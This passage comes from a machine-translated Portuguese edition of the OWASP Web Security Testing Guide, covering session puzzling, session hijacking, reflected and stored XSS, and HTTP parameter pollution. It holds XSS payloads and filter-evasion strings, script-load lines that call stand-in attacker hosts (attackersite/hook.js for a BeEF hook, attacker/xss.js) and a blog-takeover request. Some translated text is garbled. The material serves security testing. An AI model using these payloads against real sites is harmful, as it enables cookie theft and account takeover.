exemplo, uma página de recuperação de senha) que preenche a sessão com uma variável de sessão idêntica, com base em valores fixos ou
na entrada de origem do usuário.
Objetivos do teste
Identifique todas as variáveis de sessão.
Como testar
Teste de Caixa Preta
Essa vulnerabilidade pode ser detectada e explorada enumerando todas as variáveis de sessão usadas pelo aplicativo e em qual contexto elas
são válidas. Em particular, isso é possível acessando uma sequência de pontos de entrada e, em seguida, examinando os pontos de saída. No
caso de testes de caixa-preta, esse procedimento é difícil e requer alguma sorte, pois cada sequência diferente pode levar a um resultado
diferente.
Exemplos
Um exemplo muito simples pode ser a funcionalidade de redefinição de senha que, no ponto de entrada, pode solicitar que o usuário forneça
algumas informações de identificação, como nome de usuário ou endereço de e-mail. Essa página pode preencher a sessão com esses valores
de identificação, que são recebidos diretamente do lado do cliente ou obtidos de consultas ou cálculos com base na entrada recebida. Neste
ponto, pode haver algumas páginas no aplicativo que mostram dados privados com base neste objeto de sessão. Dessa maneira, o invasor
pode ignorar o processo de autenticação.
Machine
212
Translated by Google
maneira mais eficaz de detectar essas vulnerabilidades é por meio de uma revisão do código-fonte.
Remediação
As variáveis de sessão devem ser usadas apenas para uma única finalidade consistente.
Referências
Quebra-cabeças da sessão
EU IRIA
WSTG-SESS-09
Resumo
Um invasor que obtém acesso aos cookies de sessão do usuário pode representá-los apresentando esses cookies. Esse ataque é conhecido
como seqüestro de sessão. Ao considerar invasores de rede, ou seja, invasores que controlam a rede usada pela vítima, os cookies de
sessão podem ser indevidamente expostos ao invasor por HTTP. Para evitar isso, os cookies de sessão devem ser marcados com o atributo
Secure para que sejam comunicados apenas por HTTPS.
Observe que o atributo Secure também deve ser usado quando o aplicativo da Web é totalmente implantado em HTTPS, caso contrário, o
seguinte ataque de roubo de cookie é possível. Suponha que example.com seja totalmente implementado em HTTPS, mas não marque
seus cookies de sessão como Secure . As seguintes etapas de ataque são possíveis:
2. O invasor corrompe a resposta correspondente para que ela acione uma solicitação para http://example.com .
3. O navegador agora tenta acessar http://example.com .
4. Embora a solicitação falhe, os cookies da sessão são vazados sem problemas por HTTP.
Como alternativa, o sequestro de sessão pode ser evitado proibindo o uso de HTTP usando HSTS. Observe que há uma sutileza aqui
relacionada ao escopo do cookie. Em particular, a adoção completa do HSTS é necessária quando os cookies de sessão são emitidos com o
Conjunto de atributos de domínio .
A adoção completa do HSTS é descrita em um documento chamado Testing for Integrity Flaws in Web Sessions , de Stefano Calzavara,
Alvise Rabitti, Alessio Ragazzo e Michele Bugliesi. A adoção completa do HSTS ocorre quando um host ativa o HSTS para si mesmo e para
todos os seus subdomínios. A adoção parcial do HSTS ocorre quando um host ativa o HSTS apenas para si.
Com o atributo Domínio definido, os cookies de sessão podem ser compartilhados entre subdomínios. O uso de HTTP com subdomínios
deve ser evitado para impedir a divulgação de cookies não criptografados enviados por HTTP. Para exemplificar essa falha de segurança,
suponha que o site example.com ative o HSTS sem a opção includeSubDomains . O site emite cookies de sessão com o atributo Domain
definido como example.com . O seguinte ataque é possível:
2. O invasor corrompe a resposta correspondente para que ela acione uma solicitação para http://fake.example.com .
3. O navegador agora tenta acessar http://fake.example.com , que é permitido pela configuração HSTS.
4. Como a solicitação é enviada para um subdomínio de example.com com o atributo Domain definido, ela inclui a sessão
cookies, que vazam abertamente por HTTP.
O HSTS completo deve ser ativado no domínio apex para evitar esse ataque.
Objetivos do teste
Identifique cookies de sessão vulneráveis.
Como testar
A estratégia de teste é direcionada a invasores de rede, portanto, só precisa ser aplicada a sites sem adoção total de HSTS (sites com
adoção total de HSTS são seguros, pois seus cookies não são comunicados por HTTP). Assumimos que temos duas contas de teste no site
em teste, uma para atuar como vítima e outra como invasor. Nós
Machine Translated by Google
214
simular um cenário em que o invasor rouba todos os cookies que não estão protegidos contra divulgação por HTTP e os apresenta ao site para acessar a
conta da vítima. Se esses cookies forem suficientes para agir em nome da vítima, é possível o seqüestro de sessão.
1. Faça login no site como vítima e acesse qualquer página que ofereça uma função segura que exija autenticação.
2. Exclua do pote de biscoitos todos os cookies que satisfaçam qualquer uma das seguintes condições. caso não
haja adoção de HSTS: o atributo Secure é definido.
caso haja adoção parcial de HSTS: o atributo Secure é definido ou o atributo Domain não é definido.
5. Observe se a operação na etapa 4 foi executada com sucesso. Nesse caso, o ataque foi bem-sucedido.
6. Limpe o pote de cookies, faça o login como o invasor e acesse a página na etapa 1.
10. Observe se a operação do passo 8 foi realizada com sucesso na conta da vítima. Se sim, o ataque
foi bem sucedido; caso contrário, o site é seguro contra seqüestro de sessão.
Recomendamos o uso de duas máquinas ou navegadores diferentes para a vítima e o invasor. Isso permite diminuir o número de falsos positivos se o
aplicativo da web fizer impressões digitais para verificar o acesso habilitado a partir de um determinado cookie. Uma variante mais curta, mas menos precisa,
da estratégia de teste requer apenas uma conta de teste. Ele segue o mesmo padrão, mas para na etapa 5 (observe que isso torna a etapa 3 inútil).
Ferramentas
OWASP ZAP
EU IRIA
WSTG-INPV-01
Resumo
Script refletido entre sites (XSS) ocorrem quando um invasor injeta código executável do navegador em uma única resposta HTTP. O ataque injetado não é armazenado
no próprio aplicativo; é não persistente e afeta apenas os usuários que abrem um link criado com códigos maliciosos ou uma página da Web de terceiros. A sequência
de ataque é incluída como parte dos parâmetros URI ou HTTP criados, processada incorretamente pelo aplicativo e devolvida à vítima.
O XSS refletido é o tipo mais frequente de ataque XSS encontrado na natureza. Os ataques XSS refletidos também são conhecidos como ataques XSS não
persistentes e, como a carga útil do ataque é entregue e executada por meio de uma única solicitação e resposta, eles também são chamados de XSS de primeira
ordem ou tipo 1.
Quando um aplicativo da Web é vulnerável a esse tipo de ataque, ele repassa ao cliente entradas não validadas enviadas por meio de solicitações. O modus operandi
comum do ataque inclui uma etapa de design, na qual o invasor cria e testa um URI ofensivo, uma etapa de engenharia social, na qual ele convence suas vítimas a
carregar esse URI em seus navegadores e a eventual execução do código ofensivo usando o navegador da vítima.
Normalmente, o código do invasor é escrito na linguagem JavaScript, mas outras linguagens de script também são usadas, por exemplo, ActionScript e VBScript. Os
invasores geralmente aproveitam essas vulnerabilidades para instalar keyloggers, roubar cookies de vítimas, realizar roubo de área de transferência e alterar o
Uma das principais dificuldades na prevenção de vulnerabilidades XSS é a codificação de caracteres adequada. Em alguns casos, o servidor web ou o aplicativo web
pode não estar filtrando algumas codificações de caracteres, então, por exemplo, o aplicativo web pode filtrar <script> , mas pode não filtrar %3cscript%3e , que
Objetivos do teste
Identifique as variáveis que são refletidas nas respostas.
Avalie a entrada que eles aceitam e a codificação que é aplicada no retorno (se houver).
Como testar
Teste de Caixa Preta
Um teste de caixa preta incluirá pelo menos três fases:
Detectar vetores de entrada. Para cada página da web, o testador deve determinar todas as variáveis definidas pelo usuário do aplicativo da web e como inseri-las.
Isso inclui entradas ocultas ou não óbvias, como parâmetros HTTP, dados POST, valores de campo de formulário ocultos e valores predefinidos de rádio ou seleção.
Normalmente, editores de HTML no navegador ou proxies da Web são usados para exibir essas variáveis ocultas. Veja o exemplo abaixo.
Analise cada vetor de entrada para detectar possíveis vulnerabilidades. Para detectar uma vulnerabilidade XSS, o testador normalmente usará dados de entrada
especialmente criados com cada vetor de entrada. Esses dados de entrada geralmente são inofensivos, mas acionam respostas do navegador da Web que manifestam
a vulnerabilidade. Os dados de teste podem ser gerados usando um fuzzer de aplicativo da web, uma lista predefinida automatizada de strings de ataque conhecidas
<script>alerta(123)</script>
Machine
218
Translated by Google
"><script>alerta(document.cookie)</script>
Para obter uma lista abrangente de strings de teste em potencial, consulte a folha de dicas de evasão do filtro XSS.
Verificar impacto
Para cada entrada de teste tentada na fase anterior, o testador analisará o resultado e determinará se representa uma vulnerabilidade que tenha um impacto
realista na segurança do aplicativo da web. Isso requer examinar o HTML da página da Web resultante e procurar a entrada de teste. Uma vez encontrado, o
testador identifica todos os caracteres especiais que não foram codificados, substituídos ou filtrados adequadamente. O conjunto de caracteres especiais não
filtrados vulneráveis dependerá do contexto dessa seção do HTML.
Idealmente, todos os caracteres especiais HTML serão substituídos por entidades HTML. As principais entidades HTML a serem identificadas são:
& (e comercial)
No entanto, uma lista completa de entidades é definida pelas especificações HTML e XML. Wikipedia tem uma referência completa.
Dentro do contexto de uma ação HTML ou código JavaScript, um conjunto diferente de caracteres especiais precisará ser escapado, codificado, substituído ou
filtrado. Esses personagens incluem:
\n (nova linha)
\r (retorno de carro)
\ (barra invertida)
Para obter uma referência mais completa, consulte o guia do Mozilla JavaScript.
Exemplo 1
Por exemplo, considere um site que tenha um aviso de boas-vindas Bem- vindo %username% e um link para download.
O testador deve suspeitar que cada ponto de entrada de dados pode resultar em um ataque XSS. Para analisá-la, o testador jogará com a variável do usuário e
http://example.com/index.php?user=<script>alert(123)</script>
Isso indica que há uma vulnerabilidade XSS e parece que o testador pode executar o código de sua escolha no navegador de qualquer pessoa se
clicar no link do testador.
Exemplo 2
Isso fará com que o usuário, clicando no link fornecido pelo testador, baixe o arquivo malicioso.exe de um site que ele
ao controle.
ataques refletidos de script entre sites são evitados quando o aplicativo da Web limpa a entrada, um firewall do aplicativo da Web bloqueia a entrada
maliciosa ou por mecanismos incorporados aos navegadores da Web modernos. O testador deve testar as vulnerabilidades assumindo que os
navegadores da web não impedirão o ataque. Os navegadores podem estar desatualizados ou ter recursos de segurança integrados
Machine Translated by Google
220
Desativado. Da mesma forma, não é garantido que os firewalls de aplicativos da Web reconheçam ataques novos e desconhecidos. Um invasor pode
criar uma string de ataque não reconhecida pelo firewall do aplicativo da web.
Portanto, a maior parte da prevenção de XSS deve depender da sanitização do aplicativo da Web de entrada de usuário não confiável. Existem
vários mecanismos disponíveis para desenvolvedores para sanitização, como retornar um erro, remover, codificar ou substituir entrada inválida. O
meio pelo qual o aplicativo detecta e corrige a entrada inválida é outra fraqueza principal na prevenção do XSS. Uma lista de negações pode não
incluir todas as strings de ataque possíveis, uma lista de permissões pode ser excessivamente permissiva, a sanitização pode falhar ou um tipo de
entrada pode ser incorretamente confiável e permanecer não sanitizado. Tudo isso permite que os invasores contornem os filtros XSS.
Folha de dicas de evasão do filtro XSS documenta testes de evasão de filtros comuns.
Como esses filtros são baseados em uma lista de negações, eles não podem bloquear todos os tipos de expressões. De fato, há casos em que uma
exploração XSS pode ser realizada sem o uso de tags <script> e até mesmo sem o uso de caracteres como < e > que são comumente filtrados.
Por exemplo, o aplicativo da Web pode usar o valor de entrada do usuário para preencher um atributo, conforme mostrado no código a seguir:
" onfocus="alert(document.cookie)
Em alguns casos, é possível que os filtros baseados em assinatura possam ser simplesmente derrotados ofuscando o ataque. Normalmente, você
pode fazer isso por meio da inserção de variações inesperadas na sintaxe ou na codificação. Essas variações são toleradas pelos navegadores
como HTML válido quando o código é retornado e, no entanto, também podem ser aceitas pelo filtro.
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
Às vezes, a sanitização é aplicada apenas uma vez e não está sendo realizada recursivamente. Nesse caso, o invasor pode vencer o filtro enviando
uma string contendo várias tentativas, como esta:
<scr<script>ipt>alert(document.cookie)</script>
Agora suponha que os desenvolvedores do site de destino tenham implementado o seguinte código para proteger a entrada da inclusão de script
externo:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var'])) {
Machine Translated by Google
221
echo "Filtrado";
Retorna;
1. Verifique se há um <script
2. Verifique se há “ “ (espaço em branco)
Isso é útil para filtrar expressões como <script src="http://attacker/xss.js"></script>, que é um ataque comum. Mas, neste caso, é possível
contornar a sanitização usando o caractere > em um atributo entre script e src, assim:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
Isso explorará a vulnerabilidade refletida de cross site scripting mostrada anteriormente, executando o código JavaScript armazenado no
servidor da Web do invasor como se fosse originário do site da vítima, http://example/ .
Outro método para ignorar filtros é a Poluição de Parâmetros HTTP, esta técnica foi apresentada pela primeira vez por Stefano di Paola e
Luca Carettoni em 2009 na conferência OWASP Polônia. Consulte Testando a poluição do parâmetro HTTP para obter mais informações.
Essa técnica de evasão consiste em dividir um vetor de ataque entre vários parâmetros que possuem o mesmo nome. A manipulação do valor
de cada parâmetro depende de como cada tecnologia web está analisando esses parâmetros, portanto nem sempre esse tipo de evasão é
possível. Se o ambiente testado concatenar os valores de todos os parâmetros com o mesmo nome, um invasor poderá usar essa técnica para
contornar os mecanismos de segurança baseados em padrões. Ataque normal:
http://example/page.php?param=<script>[...]</script>
http://example/page.php?param=<script¶m=>[...]</¶m=script>
Consulte a folha de dicas de evasão do filtro XSS para uma lista mais detalhada de técnicas de evasão de filtro. Finalmente, analisar as
respostas pode ser complexo. Uma maneira simples de fazer isso é usar um código que abre uma caixa de diálogo, como em nosso exemplo.
Isso geralmente indica que um invasor pode executar JavaScript arbitrário de sua escolha nos navegadores dos visitantes.
teste de caixa cinza é semelhante ao teste de caixa preta. No teste de caixa cinza, o pen-tester tem conhecimento parcial do aplicativo. Nesse
caso, as informações sobre entrada do usuário, controles de validação de entrada e como a entrada do usuário é processada de volta para o
usuário podem ser conhecidas pelo pen-tester.
Se o código-fonte estiver disponível (teste de caixa branca), todas as variáveis recebidas dos usuários devem ser analisadas. Além disso, o
testador deve analisar quaisquer procedimentos de sanitização implementados para decidir se eles podem ser contornados.
Ferramentas
Machine
222
Translated by Google
Codificador PHP Charset (PCE) ajuda a codificar textos arbitrários de e para 65 tipos de conjuntos de caracteres que você pode usar em
suas cargas personalizadas.
hackvertor é uma ferramenta online que permite muitos tipos de codificação e ofuscação de JavaScript (ou qualquer entrada de string).
ratproxy é uma ferramenta de auditoria de segurança de aplicativos da Web semiautomática e amplamente passiva, otimizada para uma
detecção precisa e sensível e anotação automática de possíveis problemas e padrões de design relevantes para a segurança com base na
observação do tráfego existente iniciado pelo usuário na complexa Web 2.0 ambientes.
Burp Proxy é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web.
Proxy de Ataque Zed OWASP (ZAP) é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web com um scanner integrado.
Referências
Recursos OWASP
Folha de dicas de evasão do filtro XSS
livros
Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Segunda Edição, McGraw-Hill,
2006 - ISBN 0-07-226229-0
Dafydd Stuttard, Marcus Pinto - “O Manual do Aplicativo Web - Descobrindo e Explorando Falhas de Segurança”,
2008, Wiley, ISBN 978-0-470-17077-9
Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits
and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
Artigos técnicos
CERT - Marcas HTML maliciosas incorporadas em solicitações da Web do cliente
EU IRIA
WSTG-INPV-02
Resumo
Scripts entre sites armazenados (XSS) é o tipo mais perigoso de Cross Site Scripting. Os aplicativos da Web que permitem aos usuários armazenar dados estão
potencialmente expostos a esse tipo de ataque. Este capítulo ilustra exemplos de injeção de script entre sites armazenados e cenários de exploração relacionados.
O XSS armazenado ocorre quando um aplicativo da Web coleta entrada de um usuário que pode ser mal-intencionado e, em seguida, armazena essa entrada em um
armazenamento de dados para uso posterior. A entrada armazenada não é filtrada corretamente. Como consequência, os dados maliciosos parecerão fazer parte do
Como essa vulnerabilidade geralmente envolve pelo menos duas solicitações ao aplicativo, isso também pode ser chamado de XSS de segunda ordem.
Esta vulnerabilidade pode ser usada para realizar uma série de ataques baseados em navegador, incluindo:
Varredura de portas de hosts internos (“internos” em relação aos usuários do aplicativo da web)
O XSS armazenado não precisa de um link malicioso para ser explorado. Uma exploração bem-sucedida ocorre quando um usuário visita uma página com um XSS
Esse tipo de ataque também pode ser explorado com estruturas de exploração de navegador, como o BeEF e Proxy XSS. Essas estruturas permitem o desenvolvimento
O XSS armazenado é particularmente perigoso em áreas de aplicativos às quais usuários com altos privilégios têm acesso. Quando o administrador visita a página
vulnerável, o ataque é executado automaticamente pelo navegador. Isso pode expor informações confidenciais, como tokens de autorização de sessão.
Objetivos do teste
Identifique a entrada armazenada que é refletida no lado do cliente.
Avalie a entrada que eles aceitam e a codificação que é aplicada no retorno (se houver).
Como testar
Teste de Caixa Preta
O processo para identificar vulnerabilidades XSS armazenadas é semelhante ao processo descrito durante o teste para XSS refletido.
Machine Translated by Google
224
Formulários de entrada
A primeira etapa é identificar todos os pontos em que a entrada do usuário é armazenada no back-end e exibida pelo aplicativo.
Página de usuário/perfis: o aplicativo permite ao usuário editar/alterar detalhes do perfil, como nome, sobrenome, apelido, avatar, foto, endereço, etc.
Carrinho de compras: o aplicativo permite que o usuário armazene itens no carrinho de compras que podem ser revistos posteriormente
A entrada armazenada pelo aplicativo é normalmente usada em tags HTML, mas também pode ser encontrada como parte do conteúdo JavaScript. Nessa etapa, é
fundamental entender se o input está armazenado e como ele está posicionado no contexto da página. Diferentemente do XSS refletido, o pen-tester também deve investigar
quaisquer canais fora de banda através dos quais o aplicativo recebe e armazena as entradas dos usuários.
Nota: Todas as áreas do aplicativo acessíveis pelos administradores devem ser testadas para identificar a presença de quaisquer dados enviados pelos usuários.
Nesse caso, o testador precisa encontrar uma maneira de injetar código fora da tag <input> conforme abaixo:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> CÓDIGO MALICIOSO <!-- />
Isso envolve testar a validação de entrada e os controles de filtragem do aplicativo. Exemplos básicos de injeção neste caso:
Machine Translated by Google
225
aaa@aa.com"><script>alert(document.cookie)</script>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
Assegure-se de que a entrada seja enviada por meio do aplicativo. Isso normalmente envolve desabilitar o JavaScript se os controles de segurança
do lado do cliente forem implementados ou modificar a solicitação HTTP com um proxy da web. Também é importante testar a mesma injeção com
solicitações HTTP GET e POST. A injeção acima resulta em uma janela pop-up contendo os valores do cookie.
A entrada é armazenada e a carga XSS é executada pelo navegador ao recarregar a página. Se a entrada for ignorada pelo aplicativo, os
testadores devem testar o aplicativo para filtros XSS. Por exemplo, se a string “SCRIPT” for substituída por um espaço ou por um caractere
NULL, isso pode ser um sinal potencial de filtragem XSS em ação. Existem muitas técnicas para evitar os filtros de entrada (consulte o capítulo
Teste de XSS refletido ). É altamente recomendável que os testadores consultem XSS Filter Evasion e Mário Páginas XSS Cheat, que fornecem
uma extensa lista de ataques XSS e desvios de filtragem. Consulte a seção de whitepapers e ferramentas para obter informações mais
detalhadas.
O XSS armazenado pode ser explorado por estruturas avançadas de exploração de JavaScript, como BeEF e Proxy XSS.
Injetando um gancho JavaScript que se comunica com a estrutura de exploração do navegador do invasor (BeEF)
Esperando que o usuário do aplicativo visualize a página vulnerável onde a entrada armazenada é exibida
O gancho JavaScript pode ser injetado explorando a vulnerabilidade XSS no aplicativo da web.
aaa@aa.com"><script src=http://attackersite/hook.js></script>
Quando o usuário carrega a página index2.php , o script hook.js é executado pelo navegador. É possível acessar cookies, captura de tela do usuário,
área de transferência do usuário e iniciar ataques XSS complexos.
Machine Translated by Google
226
Esse ataque é particularmente eficaz em páginas vulneráveis que são visualizadas por muitos usuários com diferentes privilégios.
Carregar arquivo
Caso a aplicação web permita upload de arquivo, é importante verificar se é possível fazer upload de conteúdo HTML. Por exemplo, se arquivos HTML ou TXT forem permitidos,
a carga XSS pode ser injetada no arquivo carregado. O pen-tester também deve verificar se o upload do arquivo permite definir tipos MIME arbitrários.
teste
Essa falha de design pode ser explorada em ataques de manipulação incorreta de MIME do navegador. Por exemplo, arquivos de aparência inócua, como JPG e GIF, podem
conter uma carga XSS que é executada quando são carregados pelo navegador. Isso é possível quando o tipo MIME para uma imagem como image/gif pode ser definido como
text/html . Nesse caso, o arquivo será tratado pelo navegador do cliente como HTML.
<script>alerta(document.cookie)</script>
Considere também que o Internet Explorer não lida com tipos MIME da mesma forma que o Mozilla Firefox ou outros navegadores. Por exemplo, o Internet Explorer
lida com arquivos TXT com conteúdo HTML como conteúdo HTML. Para obter mais informações sobre a manipulação de MIME, consulte a seção de whitepapers
sobre entrada do usuário, controles de validação de entrada e armazenamento de dados podem ser conhecidas pelo pen-tester.
Dependendo das informações disponíveis, normalmente é recomendável que os testadores verifiquem como a entrada do usuário é processada pelo aplicativo e,
Acesse o sistema de back-end e verifique se a entrada está armazenada e como está armazenada
Se o código-fonte estiver disponível (como no teste de caixa branca), todas as variáveis usadas nos formulários de entrada devem ser analisadas. Em particular,
linguagens de programação como PHP, ASP e JSP usam variáveis/funções predefinidas para armazenar entrada de solicitações HTTP GET e POST.
A tabela a seguir resume algumas variáveis e funções especiais a serem observadas ao analisar o código-fonte:
request.getParameter - HTTP
$_POST - Variáveis HTTP POST Pedido.Form - HTTP POST
Variáveis GET/POST
Nota: A tabela acima é apenas um resumo dos parâmetros mais importantes, mas todos os parâmetros de entrada do usuário devem ser investigados.
Ferramentas
Codificador PHP Charset (PCE) ajuda a codificar textos arbitrários de e para 65 tipos de conjuntos de caracteres que você pode usar em
suas cargas personalizadas.
hackvertor é uma ferramenta online que permite muitos tipos de codificação e ofuscação de JavaScript (ou qualquer entrada de string).
Carne é a estrutura de exploração do navegador. Uma ferramenta profissional para demonstrar o impacto em tempo real do navegador
vulnerabilidades.
Burp Proxy é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web.
Assistente XSS Script Greasemonkey que permite aos usuários testar facilmente qualquer aplicativo da Web quanto a falhas de script entre sites.
Machine Translated by Google
228
Proxy de Ataque Zed OWASP (ZAP) é um servidor proxy HTTP/S interativo para atacar e testar aplicativos da web
com um scanner embutido.
Referências
Recursos OWASP
Folha de dicas de evasão do filtro XSS
livros
Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Segunda Edição, McGraw-Hill,
2006 - ISBN 0-07-226229-0
Dafydd Stuttard, Marcus Pinto - “O Manual do Aplicativo Web - Descobrindo e Explorando Falhas de Segurança”,
2008, Wiley, ISBN 978-0-470-17077-9
Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS
Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
Artigos técnicos
CERT: “CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests”
EU IRIA
WSTG-INPV-03
EU IRIA
WSTG-INPV-04
Resumo
A Poluição de Parâmetros HTTP testa a resposta dos aplicativos ao recebimento de vários parâmetros HTTP com o mesmo nome; por
exemplo, se o nome de usuário do parâmetro for incluído nos parâmetros GET ou POST duas vezes.
Fornecer vários parâmetros HTTP com o mesmo nome pode fazer com que um aplicativo interprete valores de maneiras imprevistas. Ao
explorar esses efeitos, um invasor pode contornar a validação de entrada, acionar erros de aplicativo ou modificar valores de variáveis
internas. Como a poluição do parâmetro HTTP (abreviado HPP) afeta um bloco de construção de todas as tecnologias da Web, existem
ataques do lado do servidor e do cliente.
Os padrões HTTP atuais não incluem orientação sobre como interpretar vários parâmetros de entrada com o mesmo nome.
Por exemplo, RFC 3986 simplesmente define o termo Query String como uma série de pares campo-valor e RFC 2396 define classes de
caracteres de string de consulta invertidos e não reservados. Sem um padrão estabelecido, os componentes de aplicativos da Web lidam
com esse caso extremo de várias maneiras (consulte a tabela abaixo para obter detalhes).
Por si só, isso não é necessariamente uma indicação de vulnerabilidade. No entanto, se o desenvolvedor não estiver ciente do problema,
a presença de parâmetros duplicados pode produzir um comportamento anômalo no aplicativo que pode ser potencialmente explorado por
um invasor. Como costuma ocorrer em segurança, comportamentos inesperados são uma fonte comum de pontos fracos que podem levar
a ataques de Poluição de Parâmetros HTTP nesse caso. Para melhor apresentar esta classe de vulnerabilidades e o resultado de
ataques HPP, é interessante analisar alguns exemplos da vida real que foram descobertos no passado.
2009, logo após a publicação da primeira pesquisa sobre Poluição de Parâmetros HTTP, a técnica recebeu atenção da comunidade de
segurança como uma possível forma de burlar firewalls de aplicações web.
Uma dessas falhas, afetando as Regras do Núcleo de Injeção SQL do ModSecurity, representa um exemplo perfeito da incompatibilidade
de impedância entre aplicativos e filtros. O filtro ModSecurity aplicaria corretamente uma lista de negações para o seguinte, impedindo
, assim
table /index.aspx?page=select 1,2,3 from table . No que
entanto,
este ao
exemplo
explorar
de aURL
concatenação
fosse processado
de vários
pelo
parâmetros
servidor web:
HTTP,
string:
um invasor
select 1,2,3
podefrom
fazer com que o servidor de aplicativos concatene a string depois que o filtro ModSecurity já aceitou a entrada. Por exemplo, a URL /
index.aspx?page=select 1&page=2,3 da tabela não acionaria o filtro ModSecurity, mas a camada do aplicativo concatenaria a entrada de
volta na string maliciosa completa.
Outra vulnerabilidade do HPP acabou afetando o Apple Cups, o conhecido sistema de impressão usado por muitos sistemas UNIX.
Explorando o HPP, um invasor pode facilmente acionar uma vulnerabilidade Cross-Site Scripting usando o seguinte URL: http://127.0.0.1:631/
admin/?kerberos=onmouseover=alert(1)&kerberos . O ponto de verificação de validação do aplicativo pode ser ignorado adicionando um
argumento Kerberos extra com uma string válida (por exemplo, string vazia). Como o checkpoint de validação consideraria apenas a
segunda ocorrência, o primeiro parâmetro Kerberos não foi devidamente higienizado antes de ser utilizado para gerar conteúdo HTML
dinâmico. A exploração bem-sucedida resultaria na execução do código JavaScript no contexto do site de hospedagem.
Ignorar Autenticação
Uma vulnerabilidade HPP ainda mais crítica foi descoberta no Blogger, a popular plataforma de blogs. O bug permitia que usuários mal-
intencionados se apropriassem do blog da vítima usando a seguinte solicitação HTTP ( https://www.blogger.com/add-authors.do ):
Machine
231
Translated by Google
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshl ager19test%40gmail.com(e-
mail do invasor)&ok=Convidar
A falha residia no mecanismo de autenticação usado pelo aplicativo da web, pois a verificação de segurança foi realizada no primeiro parâmetro
blogID , enquanto a operação real usou a segunda ocorrência.
ASP.NET/IIS Todas as ocorrências concatenadas com uma vírgula cor = vermelho, azul
ASP/IIS Todas as ocorrências concatenadas com uma vírgula cor = vermelho, azul
JSP, Servlet / Oracle Application Server 10g Apenas a primeira ocorrência cor=vermelho
Objetivos do teste
Identifique o back-end e o método de análise usado.
Como testar
Felizmente, como a atribuição de parâmetros HTTP geralmente é feita por meio do servidor de aplicativos da web, e não do próprio código do
aplicativo, testar a resposta à poluição de parâmetros deve ser padrão em todas as páginas e ações.
No entanto, como é necessário um conhecimento aprofundado da lógica de negócios, testar o HPP requer testes manuais. As ferramentas
automáticas podem ajudar apenas parcialmente os auditores, pois tendem a gerar muitos falsos positivos. Além disso, o HPP pode se manifestar
em componentes do lado do cliente e do lado do servidor.
Para testar as vulnerabilidades do HPP, identifique qualquer formulário ou ação que permita entrada fornecida pelo usuário. Parâmetros de
string de consulta em solicitações HTTP GET são fáceis de ajustar na barra de navegação do navegador. Se a ação do formulário enviar
dados via POST, o testador precisará usar um proxy de interceptação para adulterar os dados POST à medida que são enviados ao servidor.
Tendo identificado um parâmetro de entrada específico para testar, pode-se editar os dados GET ou POST interceptando a solicitação ou
alterando a string de consulta após o carregamento da página de resposta. Para testar vulnerabilidades de HPP, basta anexar o mesmo
parâmetro aos dados GET ou POST, mas com um valor diferente atribuído.
Por exemplo: se estiver testando o parâmetro search_string na string de consulta, a URL da solicitação incluirá o nome e o valor desse
parâmetro:
http://example.com/?search_string=kittens
O parâmetro específico pode estar oculto entre vários outros parâmetros, mas a abordagem é a mesma; deixe os outros parâmetros no lugar
e anexe a duplicata:
http://example.com/?mode=guest&search_string=kittens&num_results=100
http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies
Analise a página de resposta para determinar quais valores foram analisados. No exemplo acima, os resultados da pesquisa podem mostrar
gatinhos com alguma combinação de ambos ( gatinhos,cachorros
dar um resultado vazio ou ou
umagatinhos~cachorros
página de erro. ou , cachorrinhos , ['gatinhos','cachorros'] ), podem
Esse comportamento, seja usando o primeiro, o último ou uma combinação de parâmetros de entrada com o mesmo nome, provavelmente
será consistente em todo o aplicativo. Se esse comportamento padrão revela ou não uma vulnerabilidade em potencial, depende da validação
de entrada específica e da filtragem específica de um aplicativo específico. Como regra geral: se a validação de entrada existente e outros
mecanismos de segurança forem suficientes em entradas únicas e se o servidor atribuir apenas o primeiro ou o último parâmetro poluído, a
poluição de parâmetro não revelará uma vulnerabilidade. Se os parâmetros duplicados forem concatenados, diferentes componentes de
aplicativos da Web usarem ocorrências diferentes ou o teste gerar um erro, haverá uma probabilidade maior de poder usar a poluição de
parâmetros para acionar vulnerabilidades de segurança.
Uma análise mais aprofundada exigiria três solicitações HTTP para cada parâmetro HTTP:
1. Envie uma solicitação HTTP contendo o nome e o valor do parâmetro padrão e registre a resposta HTTP. Por exemplo
página?par1=val1
2. Substitua o valor do parâmetro por um valor adulterado, envie e registre a resposta HTTP. Por exemplo , página?
par1=HPP_TEST1
3. Envie uma nova solicitação combinando as etapas (1) e (2). Novamente, salve a resposta HTTP. Por exemplo , página?
par1=val1&par1=HPP_TEST1
4. Compare as respostas obtidas em todas as etapas anteriores. Se a resposta de (3) for diferente de (1) e a resposta de (3) também for
diferente de (2), há uma incompatibilidade de impedância que pode ser eventualmente abusada para acionar vulnerabilidades HPP.
Elaborar uma exploração completa de uma fraqueza de poluição de parâmetro está além do escopo deste texto. Veja as referências para
exemplos e detalhes.
Da mesma forma que o HPP do lado do servidor, o teste manual é a única técnica confiável para auditar aplicativos da Web a fim de detectar vulnerabilidades
de poluição de parâmetros que afetam os componentes do lado do cliente. Enquanto na variante do lado do servidor o invasor aproveita um aplicativo da
Web vulnerável para acessar dados protegidos ou executar ações que não são permitidas ou não deveriam ser executadas, os ataques do lado do cliente
visam subverter componentes e tecnologias do lado do cliente.
Para testar as vulnerabilidades do lado do cliente HPP, identifique qualquer formulário ou ação que permita a entrada do usuário e mostre o resultado dessa
